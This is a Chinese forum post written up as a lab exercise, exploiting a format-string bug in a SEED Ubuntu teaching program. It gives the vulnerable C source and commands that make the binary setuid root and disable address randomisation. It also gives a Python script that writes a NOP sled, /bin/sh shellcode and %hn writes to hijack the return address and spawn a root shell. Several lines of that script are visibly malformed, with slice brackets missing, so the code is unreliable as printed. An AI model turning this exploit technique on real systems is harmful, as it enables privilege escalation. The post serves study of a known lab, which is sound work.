首页
社区
课程
招聘
[原创]seedubuntu格式化字符串漏洞实验
2021-6-13 16:52 7145

[原创]seedubuntu格式化字符串漏洞实验

2021-6-13 16:52
7145

环境

Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机。

有漏洞的程序prog2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
 
void fmtstr(char* str)
{
    unsigned int *framep;
    unsigned int *ret;
    //copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));
    ret = framep + 1;
 
    /* print out information for experiment purpose */
    printf("The address of the input array: 0x%.8x\n", (unsigned)str);
    printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
    printf("The value of the return address(before): 0x%.8x\n", *ret);
 
    printf(str);
 
    printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}
 
int main()
{
    FILE *badfile;
    char str[200];
 
    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);
    return 1;
}

漏洞分析

在程序的第8行,把ebp寄存器的值放在变量framep中,后面会把该值打印出来,这个变量的目的是找到fmtstr()函数的返回地址存放的位置:ebp+4时返回地址的内存地址,此外,还打印了调用printf()函数前后该返回地址存放的内容,目的是看内容是否发生改变,如果没有说明攻击存在问题。

漏洞利用

编写shell脚本,编译源程序,开启栈可执行;
更改目标程序的运行权限;
关闭地址随机化;
向badfile写入数据,定位str数组在栈中位置;

1
2
3
4
5
gcc -z execstack -o p2 prog2.c
sudo chown root p2
sudo chmod 4755 p2
sudo sysctl -w kernel.randomize_va_space=0
echo $(printf "\xaa\xaa\xaa\xaa@@@@\xbb\xbb\xbb\xbb")%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x > badfile

运行结果如下,可以看到0xaaaaaaaa.是在第17被打印出来的,因此前面需要16个%x才能到达第一个地址。

使用Python来构造攻击字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
import sys
 
# This shellcode creates a local shell
local_shellcode= (
  "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
  "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')
 
N = 200
 
#The address of the input array: 0xbfffed04
#The value of the frame pointer: 0xbfffece8
#addr_array和frame_pointer根据上面的测试结果确定
addr_array = 0xbfffed04   
frame_pointer = 0xbfffece8
 
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
 
# Put the code at the end
start = N - len(local_shellcode)
content[start:] = local_shellcode
 
# Put the address at the beginning
addr1 = frame_pointer + 4 + 2
addr2 = frame_pointer + 4       #ret address
content[0:4=  (addr1).to_bytes(4,byteorder='little')
content[4:8=  ("@@@@").encode('latin-1')
content[8:12= (addr2).to_bytes(4,byteorder='little')
 
# Calculate the value of C
C = 16 - 1
 
# Construct the format string
addr_array += 0x90      #shellcode offset
high = addr_array >> 16
low = addr_array % 0x10000
small = high - 12 - C*8
large = low - high
s = "%.8x"*C + "%." + str(small) + "x" + "%hn"        \
                   + "%." + str(large) + "x" + "%hn" + "\n"
fmt  = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
 
# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()

运行python脚本后,执行源程序,最终效果:


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回